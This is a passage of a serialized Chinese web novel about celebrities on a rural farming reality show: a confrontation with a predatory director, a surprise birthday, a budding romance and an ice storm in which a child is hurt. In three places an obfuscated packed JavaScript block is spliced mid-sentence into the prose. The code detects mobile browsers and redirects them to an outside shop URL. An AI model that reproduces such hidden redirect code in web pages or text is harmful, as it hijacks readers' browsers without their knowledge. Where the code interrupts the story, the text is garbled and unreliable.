她的双手垂在身体两侧,右脚微微往后,拉出一定的距离,重心放在腹部,微微弓腰……这时右手心一痒。 她察觉到什么,不动声色地飞快将手躲在了背后,捏紧了假装昏迷过去的赵柯递给她的一把镰刀。 王吉看着女生这一次任人宰割的羔羊样子,心里十分痛快:“没想到这么几年过去了,你还是这般不自量力,自作聪明,不过……我对你没有兴趣,我感兴趣的——” 他嗓子里发出令人作呕的笑声,瞪大双眼神色浮夸:“是你背后的那个人啊,呵呵。” “但是谁让你刚才那么嚣张的呢!我这心里啊,不报复回去,都对不住我王吉这个名字,要不然这样——”王吉停下脚步。 “你给我跪下磕十个响头,我就看在你是女生的面上,不再为难你,怎么样?”他一副小人的姿态。 见对面的女生不但没有说话,反倒连表情也是淡淡的,这极大地刺激了王吉,狠狠地啐了一口:“妈的!”左手挥着刀就要向对方划去。 程三好放到背后的手一下捏紧了刀柄…… “老王。” 王吉手顿在空中。 “好好的,怎么又动手?” 王吉当即将手收回来,从动作能看得出来,他很惧怕叫他老王的这个男人。 他神色慌张地急忙将刀插入刀鞘,重新挂上腰间,转身对着陈望诉苦水。 “陈导,你是不知道,是他们撞着我的车,我才发火的,而且……”王吉愁苦的脸突然带着点邀功的意思,“你猜我遇到了谁?” 陈望此时已经到了跟前,不在意地往地中海男人身后一瞥,看到某个人时,整个眼睛霎时亮了。 伸手捂住王吉的脸,不管人死活地推向了一边,径直走向前。 “真是好巧啊,程小姐!”陈望整个人十分激动,“一别经年,你果然变得更漂亮了。” 程三好手指摸索着刀柄,看着人也没有说话。 “哦,”陈望似是这个时候才注意到了什么,“啊,最后的那男生……不就是赵柯吗?” “还有你,”陈望看了肖乐保一眼,“你是肖家的那小子吧?你小时候我还见过你呢,没想到转眼你就长这么大了啊……” 陈望比起王吉,不会将自己的心情全部表露在脸上,他好似一个温和大度的长辈,语气不冒犯,自顾自的说着话。 这个时候的天已经要黑了,镇上基本没有什么人,只有河水滚翻滚的声音,闷闷的,也不是很明显。 陈望见前面的三人完全把他当做空气,面上挂着的笑终于渐渐消失:“程三好。” 他眼睛定定地看着女生,那种眼神就跟蛇盯着自己的猎物一样:“你是不是以为,你勾搭上了江砚,我就不敢拿你怎么样?” 程三好终于抬眼看向他陈望。 见她有反应,陈望嘴角勾着讥诮的笑:“但我不怕他!” “你知道我爸是谁吗?”人没回答他,只能自己接着说道,“淮市首富陈梵……你别看江家如今在津市可谓是一手遮天,然而厉害的,始终只是江财集团,而不是江砚他!” 陈望向前走了一步,姿态高傲:“他年纪这个般轻,董事会的那些个老狐狸,你觉得会服他吗?……他自己现在都自顾不暇,又怎么会有时间来关爱你,所以——” 他非常自信:“你不妨跟着我,无论你想要演哪一部剧,哪一个角色,我都会给你,只要你乖乖听话。” “……真的?”这一次女生开口了,半信半疑。 陈望几乎是嘴角立刻就被钓起来:“我陈望绝不骗你!那一点资源对于我来说简直就是上下嘴皮一碰罢了!除了那些,无论是金钱珠宝还是房子,只要你想,我都可以给你!” 这个大程三好十岁的大叔,人长得勉强可以,他生怕对方反悔一般,滔滔不绝。 女生动作急缓地点着头,突然画风一转,问他:“那我还是喜欢江砚怎么办?” 此语一出,石破天惊,连装晕的赵柯眼睫毛也颤了一下。 肖乐保的手心正在源源不断地冒着冷汗,也不知是他的错觉,还是潜底意识察觉到了危险。 看似平和的谈话下,别扭不适感频繁攀升,就像暴风雨来临前的宁静,不禁让他心底发慌。 “妈的!你个臭婊子,以为你是谁啊!”王吉忍不住暴躁出声,“陈总能看上你,是你的福气,还敢在这里胡言乱语,真是找死——” “啪——”王吉的话还没说完,脸上就挨了一巴掌。 他瞬间就老实下来,不敢多说什么。 陈望低头,大拇指摸索着手掌,语气很平:“据我所知,对方可不一定喜欢你,如果喜欢你,就不会私下与其他女人约会。” 他抬眼,目光里掺着得意:“你想知道那女人是谁吗?” 程三好皱眉。 这个动作成功满足了陈望的报复心理,同时又嫉妒地握紧了手掌:“你知道吗?我向你们正在录制的综艺节目投放了很多赞助,每一只广告我都是点名要你去拍的,这样的话你可以获得相应的商务报酬,结果你知道吗?” 男人向前摊手:“那小子除了接受第一个广告合作后,后续的赞助便通通断绝了。本来我是想在你心里讨一个好,没成想那啥比破坏了我的计划,还自私地阻碍了你的商务。” “所以你看他这个人,就不是你眼中看上去的那么简单,你现在喜欢上了他,我不怪你,我相信日后只要你肯给我机会,我一定会让你对我彻底死心塌地。”陈望的语气到了后面,宛若恩赐。 听到这里,程三好余光里,某人的嘴角已经要压不住了。 不怪肖乐保,就是此刻的她,听到陈望这一番话,也差点绷不住笑出来…… 笑对方的天真,笑对方老牛吃嫩草不知廉耻,笑对方没有一点自知之明,自信过头。 不过为了赵柯能及时得到治疗,她不想再掰扯下去了,想要尽快结束这一场闹剧。 “我一直以为,江砚也喜欢我。”程三好难过,神情破碎,嗓音哽咽,“……我回去会好好想想。” 美人落泪,惹人怜爱,陈望眼睛都不敢眨一下,一双眼里含着贪婪的欲望。 “好好好。”他一连说了三个好,可见心情十分愉悦。 “那这车……”女生现在神态乖乖的,漂亮的眼睛看了他一眼。 陈望再也忍不住地咽了一下口水,搂着王吉的肩膀强行带着人准备往回走,说:“是他的不对,回头我让他给你赔礼道歉。” 程三好姿态稍微放松,语气里带着隐隐的撒娇:“我不要,就现在。” 陈望一下子躁动起来,恨不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097397|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立马上去扑倒女生,他强行忍住了,拍了拍王吉的背部,催促:“快给程小姐好好道歉!” 王吉面对陈望,永远是一副哈巴狗的姿态,甚至连腰都不敢挺直,但当下也不知是怎么的,突然硬气了一回:“我可以给她道歉,但我要先对她身后的人说几句话。” “啊,”陈望惊讶了一下,觉得也不算什么要求,就答应了,“行,你赶紧说,说完要态度诚恳地九十度鞠躬,给程小姐道歉。” 王吉咬着牙,目光死死地盯着驾驶座上的赵柯。 “你以为你假装晕过去就可以当做什么都不发生了吗?” 王吉人长得猥琐,声音也不好听。 “话说现在,你那啥的时候会不会像一根没有塞子的手管一样啊哈哈,缩不住是吧……我艹。” “你都那么习惯了我对你的疼爱,怎么就逃走了呢,当一条狗他有什么不好,我告诉你……”王吉压低声音,语速很慢,“这一辈子你都逃不掉的,这一辈子你都别想否认我与你曾经的关系……” 他伸手点着人:“你给我好好记住了,记在你的肚子里!” 肖乐保不明状已,但是听着王吉说这一番话,生理上产生严重的不适。 他感觉到恶心,但是见大哥没动,他只好强行忍了下来,没有冲上去揍那个王八蛋。 见他似乎还要说个没完没了,女生淡声道:“陈望,他说够了吧?” 被她叫了名字的陈望,慌不迭应声:“够了够了。”转瞬对着王吉黑脸,“赶快给程小姐道歉,没看人家已经等了好久了吗?” 王吉转换情绪极其快,前一秒还在恶狠狠地给予警告,后一秒马上态度一般八十度转变。 他九十度鞠躬:“对不起,程小姐,是我不小心撞到了你们的车,后续费用我会让我秘书送给你们,也希望你不要记恨王某我。” “嗯。”女生还算配合。 “……那我们就先走了。”所有人中,就陈望开心。 “嗯。”程三好应声。 陈望冲着程三好挥了挥手,强行带着王吉离开了此地。 两辆豪车从马路上极速而驰,直到连车尾气也消失在空中,肖乐保才爆发出一句脏话:“靠tnnd,艹!” 他犹觉心中不快,又狠狠地踢了一脚三轮车的轮胎。 “什么人啊这是!” 他知道大哥是在打缓和牌,要不是顺着对方的台阶往下走,怕是今晚他们三个都难以离开了,只是心里还是憋屈得不像话。 程三好静了片刻,将握着的镰刀放到储物箱里。 看着赵柯的瞬间,竟是不知怎样开口。 街边的路灯不知何时熙熙攘攘地亮了起来,暖黄的灯光在冷寂的冬天里竟然有了一种凄凉的味道。 旁边的大河被风一吹,寒意顿时席卷了身体。 马路上偶尔经过一两辆摩托车,很快又消失在黑夜的尽头。 肖乐保发过那一通火后,静静地撑着车子,看着远处没有说话。 他从来不是什么傻白甜,也不是什么白纸,他其实什么都懂。 从今天王吉所说的那些话中,他大概隐隐约约能够猜出赵柯是经历过了什么。 潜规则在他们这个圈子里从来不是什么秘密……但他潜意识里始终还是觉得,赵柯不是那样的人。 他相信他。 他相信他的兄弟。 他相信他的二哥…… “赵柯。” “我相信你。” 两句话撞在一起,程三好和肖乐保互相看向对方。 “你先说。” “你先说。” 结果又是巧妙地异口同声。 二人都没有笑,如果是以往的话,一定会大笑起来,但是此刻,奇妙的默契正降生于二人之间。 程三好率先移开视线:“走,先回家。” “对,回家,”肖乐保走到赵柯旁边,“二哥,我们一起回家。” “回我们的家……” 65. 就握一下 “网上的信息可靠吗?还是去亲自问他吧。” “你傻啊,如果这样问,那他肯定能猜得到。” “争取争取到时候就让他待在家里,我和大哥去镇上就可以。” “那回来的时候怎么能让他不发现吗?” “所以就是我到达之前可以先在手机上给你发一个消息,你们想方设法把他支走或者去其他房间,大哥就可以顺势拿着东西进入你们的寝室,东西放在那儿,以他的性格他绝对不会发现的……” “你们在聊什么?”赵柯的伤已经愈合得差不多了,他一出门就看见房檐下四人背对着他围在一起,不禁感到十分疑惑。 没成想还没等他靠近,他们就拍着屁股上的灰站起了身。 肖乐保手中拿着一副卡牌,声音有点洪亮:“不玩了不玩了,没有意思。” 韩小希嫌弃脸:“明明是你菜好吧?” “我哪里菜了啊,我还多赢你一局呢!” 看到二人像平常一样拌嘴,赵柯也就没有多想,转身去了仓库。 人一走,看天看地就是不对视的四人又迅速聚拢到一起。 肖乐保悄声说道:“待会儿上午摘完菜以后,一切按计划执行。” 三个女生点了点头。 小屋旁边的菜园里,当初程三好和赵柯种下的包菜菠菜等等都可以食用了,趁着路面还没有结冰,他们想要尽快将菜卖出去,获得一部分收益。 整个上午大家都在戴着手套采摘,中午简单地吃过饭后,赵柯自觉地拿起了三轮车的钥匙。 肖乐保与韩小希对视了一眼,才说道:“二哥,今天你就在家里面和其他人看家打扫打扫卫生吧,我开着三轮车和大哥一起去镇上摆摊就行。” 赵柯摇头:“不用,你待在家里就好,我和她去,毕竟你才刚学会开不久。” 眼见人已经要出了屋子,肖乐保急忙道:“是这样的,我的手机坏了,我想趁此机会去镇上修一修。” 赵柯停住脚步,扭头看向他,很是不解:“反正今天家里面也没有什么要做的,你就一同去好了,多一个人说不定多一份力了。” 许琪看着这个场面,忍不住缩了缩脖子,莫名地不敢呼吸。 肖乐保不善于说谎话,见赵柯完全不上他的当,一时间想不出其他合适的法子。 好在此时程三好说话了:“你留下待会儿陪两个女生去山上拾干柴,要有安全保障一些,肖乐保嘴皮子很溜,适合陪我一起去摆摊卖菜。” 此话一出,可谓十分有依据,让人不服不行。 赵柯点头:“可以。”紧接着将钥匙给了肖乐保,叮嘱他,“开慢一些,离合器也要捏紧,这个刹车也不是很灵,到时候记得多踩两下。” 肖乐保忙不迭地点头:“好的好的。” 许琪缩着的脖子重新伸展开来,可以呼吸了。 于是程三好和肖乐保成功去到镇上定制了一个蛋糕,等到菜卖的差不多收摊的时候,已经是下午四点过了。 他们去取蛋糕回来,也不停留,直奔小屋,靠近村口的时候,程三好用手机给韩小希发了一个短信:我们要到了,想法子把赵柯支开。 韩小希发过来一个“好的”。 “可以走了。”程三好关闭手机,与肖乐保说了一句。 等他们到了小屋的大坝上,本来还挺谨慎的,但是直到程三好将蛋糕放到了宿舍的桌子上,出来与肖乐保转了转,也没发现一个人影。 “这是去哪了啊”?肖乐保疑惑,想的什么,他的笑容欣慰,“不会又去山上拾柴了吧。” 半个小时后,看着归来的三人,肖乐保心里面热的不行,但是面上一分不露,反倒特别体贴地招呼他们。 “真是辛苦了啊各位,大哥已经做好饭菜,就等你们啦。赶快去洗洗手,过来吃饭吧。” 冬天围着火炉吃饭很暖和很惬意,本来他们农作物收入的钱是可以去买一些炭来燃烧的,但是那笔资金被用到了三轮车上,所以现在基本上都靠捡来的枯树枝燃烧供暖。 吃完晚饭后,程三好极其不引人注意地起身来到了外面,想要去宿舍里拿那个蛋糕。 经过门外的时候,突然瞥见不远处导演组搭建的绿棚下出现了江砚。 他可能作为领导来监督工作的,脸色不是很好看。 对方似是察觉到视线,也扭过头。 二人就这样隔着不近不远的距离对视,中间是一道用竹竿搭建的篱笆。 模糊的天光下,她只能隐约地看到江砚对着张导说了什么,然后就迈动长腿朝她这儿走来。 程三好提起的右脚又放了回去。 不稍片刻,江砚就到了跟前。 神色看上去竟然带着些慌张,他下意识地伸手想触碰女生的肩膀,但到底还是停顿了一下就收了回来。 “几天前你在镇上遇到了陈望?”他说话气息很稳,又低又沉。 “嗯。”程三好抬起一只脚轻轻地用脚尖戳着地面。 “受伤没有?”江砚仔细看着她的脸。 程三好摇头:“没有。” 男人嗯了一声,眼睛还是看着女生。 他眉宇间在隐隐克制着什么,整个人虽然虽然掩饰得很好,但是周身的戾气却还是往外冒。 程三好觉得他在生气,但这一份生气不是冲着她的那种,所以江砚在忍。 他今天里面穿着一件黑色高领,外面一件灰色呢绒大衣,发型也有所改变,不再是一成不变的背头,而是很随意的六分碎发。 程三好看着看着,突然脑子一热,邀请他:“今天晚上我们要给赵柯过生日,你要不要来参加?” “什么?”她的声音有点含糊,江砚没有听清。 本能地,他弓腰侧着头靠近女生。 程三好看着近在咫尺的侧脸,呼吸乱了一秒,眼睛看向其他地方:“我说,赵柯今晚的生日,你来的话,我可以恩赐你一块蛋糕。” 她虽然不敢将视线一直停留在男人棱角分明的侧脸,但她说完这句话的瞬间,还是忍不住看向了他。 然后在她的目光中,有点过分亲昵的距离下,她无比清晰直观地看到了江砚嘴角是如何上扬的。 只觉得在对方笑起来的那一瞬间,心里有一朵烟花也随之炸开,刺激得整个躯体细胞都兴奋了起来。 “其他人知道你邀请了我?”江砚没注意女生的异常,直起身。 “……不知道。” “那为何?”江砚神情似笑非笑。 程三好像是无所谓:“……临时决定。” “嗯嗯……真难得啊。”江砚摸着下巴。 “别说得我好像什么冷血动物一样。”女生留给他一个背影。 江砚下意识跟了上去,门就被人哐当的地关上了。 他心有余悸地往后退了几步,这才看到门上贴着一张纸,上面写道:女宿舍,男士勿近。 江砚索性双手插进大衣的口袋里,站着等女生。 看见女生出来时,怀里面抱着一个大蛋糕,他伸手想要接过来。 程三好躲了一下,向他解释:“这种绅士的行为还是放下一次吧。” 江砚倒是也没在乎。 此时屋内的肖乐保整个人却开始出汗,他心里嘀咕:为什么大哥出去那么久了,还没有回来。 他这样想着,手机突然收到一条信息。 程三好:【我在厨房外面,可以开始了。】 肖乐保握着手机,竭力地往后仰头读完对方发来的信息,松了一口气,然后就开始了他的表演。 他与韩小希对视一眼,又看了看许琪,然后才起身去到门边啪嗒地将厨房里的灯关了。 屋子一下陷入了黑暗,状况之外的赵柯问他:“你怎么把灯关了?” 光线暗淡的房间没有人说话。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126759|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们在干什么?”赵柯终于察觉出了异样,“这是要吓我吗?别搞……” 就在这时他突然看到了什么,倏地闭上了嘴,眼睛微微睁大。 程三好端着蛋糕,上面插满了蜡烛,黄色的光芒映照在屋内。 大家一起齐声唱道:“祝你生日快乐,祝你生日快乐,祝你生日快乐,祝你生日快乐……” 平时酷爱捣乱的肖乐保这个时候没有中途打断,而是完完整整地和其他人一起唱完了整首生日歌。 赵柯已经完全愣住了,半晌没有反应过来。 直到程三好提醒他:“赵柯,许愿。” 他才动作生疏合掌,闭上眼睛。过了几秒,睁开眼睛,对着蛋糕吹了一口气,第一次没有全部吹灭,他又连着吹了第二次。 肖乐保在一边起哄,气氛十分融洽,紧接着屋内的灯光都被打开了。 站在门边的肖乐保这才注意到他的旁边有一个男人,他几乎是一下子弹跳开来,神色惊恐:“卧槽,吓死我了!” 听着男生的声音,大家追随他视线看去,表情如出一辙,皆是一副见了鬼的样子。 “江总?”还是韩小希第一个人反应过来。 江砚抱手倚靠在门框,对着屋内的人微微点了一下头。 看见大家很拘谨,程三好突然有些后悔把他带进来了。 手掌拍了拍自己的额头,勉强笑笑:“别愣着了,吃蛋糕吧。” 怔忡的几个人渐渐反应过来,不约而同地想到了一处:原来女生和男人已经发展到这个地步了吗?” 他们这样想着,突然就不局促了,放开了胆子。 韩小希咬着蛋糕,撞了撞旁边的程三好胳膊,神情揶揄:“这是把家属带来了呀?” 程三好的塑料刀叉在薄薄的纸片上滑了一下,否认:“……不是。” 韩小希一脸“我都懂”的表情,并且拒绝了女生的辩解,扭头与许琪八卦去了。 程三好索性放弃了挣扎。 期间大家会与江砚说一些话,一番交流下来才发现,此人不像外界所说的那般冷血,好歹是有温度的。 但也仅此只有一点,就是那种别人与他说话,他会搭理你,但不多,很是言简意赅。 只有在与程三好说话的同时,他们才能看到男人神情生动的一面。不但视线跟随,连肢体动作都是向着女生的。 程三好的右脸被那一道道目光注视着,只觉得火辣辣的,终于忍不住站起身:“时间差不多了,我先送他出去,你们早点休息。”说罢就拉着男人的手腕出了门。 外面不知何时下起了雪,寒风迎面而来,程三好缩了缩肩膀,眼睛微微眯着,问身旁的人:“你今晚还要回去吗?” “嗯。”江砚同样抬头看着风雪。 “那你现在得尽快走了。” “赶我啊?” “不是,再晚一点,路上结的冰会越来越厚,你们可能就回不去了。” 她话音刚落,垂着的右手突然被人拉住塞进了对方的衣兜里。 程三好挣扎了一下,没挣脱。 男人的手平日里看着骨节分明,修长白润,但是此时此刻她的手被完全包裹住才发现,对方的手那么大,那么有力量。 江砚紧紧地抓住兜里那只总想要逃跑,像泥鳅一样的小手,目视着前方:“骗你的,我今晚还要去村长家,有一件事要办,要不……” 他话还未出口,自己都忍不住露出一个笑:“你收留收留我?” 程三好:“……你真是一个混账。” 说着她又想伸出手,结果还是没有抽动。 她动的过程中,江砚的身体会有微微的晃动,瞧着他的表情,竟有种他在暗爽的感觉。 程三好移开视线,脑壳疼。 江砚余光里看到她的表情,嗓子里发出低低沉沉的笑声。 “好了,不要那么小气,就握一会儿。” 66. 寒冬 某酒店三零八号房,经纪人推开门,看到伏首在桌上的人,又是惊讶又是欣慰道:“韵清,还在背台词了?” “嗯,我还差一点就背完了,想着不如一鼓作气,今晚背熟。” 程韵清已经洗漱完毕,穿着一身宽松的睡衣坐在化妆台前。披散着的头发用两个夹子分别夹在鬓角,露出姣好的面容。 她放下剧本,转过身看着自己的经纪人,问他:“王哥,有什么事吗?” “哦,是这样的,你不是让我去申请一下《种田吧》节目的名额,想要当一期飞行嘉宾吗?”他拍了拍合同,“对方爽快地答应了,到时候他们收官的最后一期节目,你去就可以了。” 程韵清现如今已是一线当红明星,要流量有流量,要实绩有实绩,所以王哥有点不解,问出了自己的疑惑。 “虽然这档综艺热度还算高,口碑也不错,但是比起其他爆红讨论度飙升的那些综艺来说,你完全没有必要参加。我手中还有很多个项目,其中不乏邀请你去当常驻嘉宾的大ip综艺,你为什么想要去这个节目?” 程韵清笑笑,将头发别到耳后,抬眼看向自己的经纪人。 明明只是极其简单的肢体行为,却让王哥不得不再感叹:果然是上天眷顾的宠儿。 女人的美是张扬的,外放的,举手投足间尽是风情万种,但是与她同赛道的女艺人相比,她又是特别的,突出的,只因她的眉眼实在是生得得天独厚。 她的眉毛不像常规的女艺人那般画得又细又长,而是大胆地留下了粗一点浓密一些的眉毛。 一双眼睛比杏眼小些又比月牙大些的,瞳孔黑白分明,双眼皮很薄,就显得她整个人英气中透着一股潇洒不恭的意味。 这一份气质让她在同质化严重的娱乐圈杀出一条血路,稳坐当红女明星Top。 不但如此,她的演技也是非常突飞猛进的,从最初的懵懂生涩到如今的娴熟突出,每一步脚踏实地,她的经纪人都看在眼里,天赋于她而言只不过是锦上添花,这也是她能经久不衰的原因。 最难得的是,虽然她红透了半边天,但是她为人依旧谦逊有礼,有职业道德,不耍大牌,这也让她在很多大导演制片人的眼里留下了极好的印象,凡是自己手中有项目的,都会第一时间联系她。 别人费尽心思得到的剧本不过是她筛选过后不要的罢了。 王哥可谓是一路陪着她风生水起,想到此处,与有荣焉。 “没什么特别的理由,就是想去体验体验如何种田的。”程韵清微笑着向他解释。 “好吧,”经纪人将合同递给她,叮嘱,“不要熬夜,早一点睡。” 程韵清接过来点头,直到看见经纪人离开关上门,她才放松了身体,转过身取出剧本里夹着的手机,点开某一个关闭的网页继续浏览了起来。 …… 夜间三点,肖乐保被冻醒。 他的整个身体像待在了冰窟窿里,一点暖和气息都没有,身上盖着的棉被像是形同虚设。 外面的天光很暗,但是那种暗只是相较于白天的那种光亮之下的暗。 在今晚的夜里,总觉得黑不透底。 他在床上裹成一个粽子,翻了几个身,铁架床立马发出嘎吱嘎吱的声音。 “肖乐保。”上铺的人突然说话。 “啊,二哥你也没睡着!”他震惊。 赵柯露在外面的整个脸都麻木了,鼻腔里火辣辣的,感觉全是十分冰凉的干燥空气。 他紧紧裹着被子,不让一丝风溜进来,神清目明,回答下铺的人:“冷醒了。” 肖乐保宛若找到了知音,语气不乏激动:“我也是。” 他苦中作乐像是吐槽又像是开玩笑:“我连伸出手拿手机的勇气都没有。” 赵柯在灰暗的光线中翘了翘嘴角,猜测:“可能现在的温度在零下一二度吧。” “不止……”肖乐保不相信,脑袋搓了搓枕头,十分笃定,“肯定在零下五度了。” 他哆嗦着嘴唇,神色痛苦:“我从来没有这般冷过,也不知道什么时候才能挨到天明。” 整个脚底像是有一块冰块贴着一样,丝丝地不停冒着冷气,人根本睡不了一点。 哪怕眼皮子打架,感觉要睡着了,没几分钟人又清醒了过来,再度进入了循环。 冬天天亮得晚,但是外面不知为何像是泛着一层白光,照进了屋内,以至于肖乐保都分不清到底天亮了没有。 怀着这样的念头,他困意上涌,短暂地睡了过去。 等到村子里的鸡鸣声响起,他抬起干涩沉重的眼皮,发现屋内亮堂,明显是到了白天早晨了。 不只是他,《种田吧》其他嘉宾皆是一样的状况,明明昨晚早早就睡下了,但是今早一起来却十分难受,简直比通宵不睡还痛苦。 身体疲软,精神饱受折磨,大家知道被窝里不暖和睡不着,但是大家更不想起,因为离开了床上,地面更冷,外面更甚…… 最后一致默契地赖床到九点,几人才陆陆续续地起了床。 程三好在生火,韩小希和肖乐保上身皆穿着四件衣服站在堂屋的门口。 ”我第一次见到这么……”男生微顿,组织着语言,“让人瞧着就心底发冷的冰天。” 目光所及之处,整个世界没有一片雪,都是冰。 无论是地面,还是不远处的公路、森林或者田野都被一层厚厚的冰封住了。 更为摄人心魄的一点,就是路边的电线杆与电线杆之间的电线,上面裹着很厚的一层冰,目测有三厘米厚,就像一个个圆柱体。如果落下来砸到人,极大可能会当场毙命。 韩小希的短发在风的吹拂下飞扬,她的眉微微蹙着,神情有些凝重。 肖乐保扭头看了她一眼:“怎么了?” 韩小希沉默了一会儿,没有插科打诨:“你有没有没有发现,虽然现在是早上,但是这种光线很像傍晚的时候那种,暗暗淡淡、灰灰蒙蒙的感觉,给人一种很朦胧,强烈的不清晰感。” 肖乐保认真感受了一下:“你这么说还真有一点,有什么问题吗?” “没有。”韩小希摇头,心理不适感久久没有散去,“我只是看着这种场景,不知为何有一些心慌。” “哎呀,没想到你还挺多愁善感的。”肖乐保拍拍她的肩膀,很是不以为意。 韩小希却没有笑,眼睛依旧盯着远处的山峰:“近几年温室效应导致全球全球气候变暖,在我的印象中,冬天虽然冷也下雪,但是像这样冰冻得如此夸张的场景,我还只有在很小很小的时候才见过。” 肖乐保虽然也很震惊,怎么一夜之间气候骤降,外面的世界就改天换地。但他也是去北方旅游过的人,实在是觉得韩小希有一些大惊小怪,杞人忧天了。 “不要太担心了,北方这样的情景多的是。” “不一样的,”韩小希摇头,“这可是西南地区。” 肖乐保不懂,他想再问,短发女生就转过身往屋子里走去。 “这个冬天怕是不会那么好过……。” 肖乐保双手搭在韩小希的肩膀上,推着人:“我说你会不会是触景伤怀了,跟哥这里整感性呢。” 韩小希将他手拍下去:“跟谁哥呢?” “姐,姐,我叫你姐行了吧……” “这还差不多。” 两人的身影消失在门口,声音也渐渐淡去。 吃过早饭后,本来今天大家是准备给玉米脱粒的,但是天气这么冷,根本离开不了火炉,索性就打算待在屋里,将已经脱壳的红豆用圆形的簸箕装着,将坏的烂的那种红豆用人手挑出来不要了。 “马上就要到十二月底,我们也要杀青了。”闲聊中,韩小希突然提起这个话题。 程三好将手中坏的红豆丢到垃圾桶,垂目继续着动作:“差不多吧,大概就是三四期节目。” “没想到时间竟然过得这么快,我都没有意识到竟然要结束了,感觉刚来种田时的感觉还历历在目。” 许琪视线放空:“我也没想到我能坚持下来。” 不想让气氛显得很伤感,肖乐保打趣道:“别说的好像离开了小屋,你们就要翻脸不认我这个朋友一样,说不定到时候下一季还是我们几个呢哈哈。” “……也是。”韩小希笑笑,手贴着暖乎乎的铁板,“节目结束以后,你们想要干什么。” 肖乐保提起这件事情就伤心:“经纪人哥肯定会逼着我将那几首曲子的词赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149455|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧填完,唉,我真服了。” 韩小希很幸灾乐祸:“难得啊,还以为你真的是什么无所畏惧的勇士呢。” 她一说,肖乐保就收了自己蔫蔫的表情,身体坐直了几分,嘴硬道:“我又没说我怕啊。” 韩小希懒得和他掰扯,扭头问许琪:“你呢?” 没有被太阳照到的许公主脸越来越白,配上一头顺滑透亮的金发,整个人的气质真的很像娇生惯养长大的千金。 不过可能是入乡随俗时间长了,端着手中的茶缸喝水,竟然也不突兀。 “我要去国外上学了,各种资料也准备得差不多,大概一月结束,我就会去。” 她这一去,就代表着以后大家想见面就难了。 许公主见他们沉默,急忙说:“我会常回来看看你们的……” 她的话还没说完,房门突然敲响,紧接着被推开,冷冽的寒风裹挟着韩老伯的声音炸响在众人的耳膜。 “凤溪——摔倒了。” 冬天,屋内光线很差,但他们还是看清了韩老伯手中抱着的孩子。 凤溪头部正在流血,整个人好像陷入了昏迷,没有动静。 她的脸颊一侧乃至后颈都被红色浸染开来,而穿着深绿色衣服的韩老伯胸前也全是一摊黑色的血迹。 程三好第一个反应过来,上前去将孩子抱在自己的怀里,下一秒老人腿软顿时跪到了地上。 “爷爷,没事吧!” 肖乐保和韩小希急忙过去,分别架着老人的一只胳膊,将人几乎是向上提了起来,紧接着把他搀扶着在沙发上坐下。 但是韩老伯不坐,他枯瘦的手在空中一直不停地挥,不停地挥,整个身体肉眼可见的发抖,神情看上去很焦急。 “救——救凤溪。”他说话很结巴,手一直还在摆。 程三好察觉右手的湿意,抬起来看了一眼,上面竟全是血。 韩小希自然也看到了,她抓住韩老伯还在一只挥的手,强行让他冷静下来:“爷爷不要急,你慢慢说,到底是发生什么了?” 老人眼眶一下就红了,断断续续地说:“前几天小孩的父母去老家看望她的外婆,就把孩子丢给我,让我帮他们照顾着几天。没想到今天早上,凤溪在我没注意时出门,不小心摔倒,后脑勺磕在了台阶上——好多好多的血……” “是我没看好她,是我的错!”说着说着,老人使劲地垂了自己大腿一把。 韩小希不断地拍着老人的肩膀,安抚他:“不要急,我们先拨打急救电话。” 谁料老人更激动了,他的神情看上去每说一句话都非常困难:“……我打过了,医生说他们正在来的路上,但是天寒地冻,也不知道什么时候才来,所以我才会找到你们,希望你们能够帮帮我,救救这个孩子。” 肖乐保皱眉:“这样的天气,别说车子,就是人走在上面也走不稳啊。” 见这些年轻的孩子也没有法子,韩老伯的心一下跌至谷底,整个人悲怆地埋起了头。 这个时候的他就像一个无助犯错的小孩子,瘦瘦的身体曲起来,凄凉无声。 韩小希安慰道:“爷爷您先不要这样,这不是你的错,我们会尽快想办法的。” 江砚进到屋子的时候,房间里很安静,所有人面色凝重。 他径直走向程三好,见女生脸色苍白,目光盯着地面,像是发呆又像是在思考。 “怎么了?” 他这话是在问女生,回答他的却是其他人。 “小孩子摔倒了,很严重,救护车可能会来得很慢。” 肖乐保见大哥没有反应,自己主动大着胆子与江砚对话。 他潜意识里觉得男人应该或许有办法解决这一切。 江砚扫了一眼男生:“嗯。” 接着毫不犹豫地掏出了手机,打了一个电话,他开了免提,里面的人说话,在场的大家都能清晰地听到。 “抱歉,江总,由于天气恶劣,我们直升机无法起飞。” 众人刚提起来的气又一下憋了回去,气氛再度僵硬了下来。 程三好能感觉到大家正在看她,希望她能够像往常一样给出一个方法。但是这一次,只有她心里清楚,她是真的没有法子了。 67. 不是生气 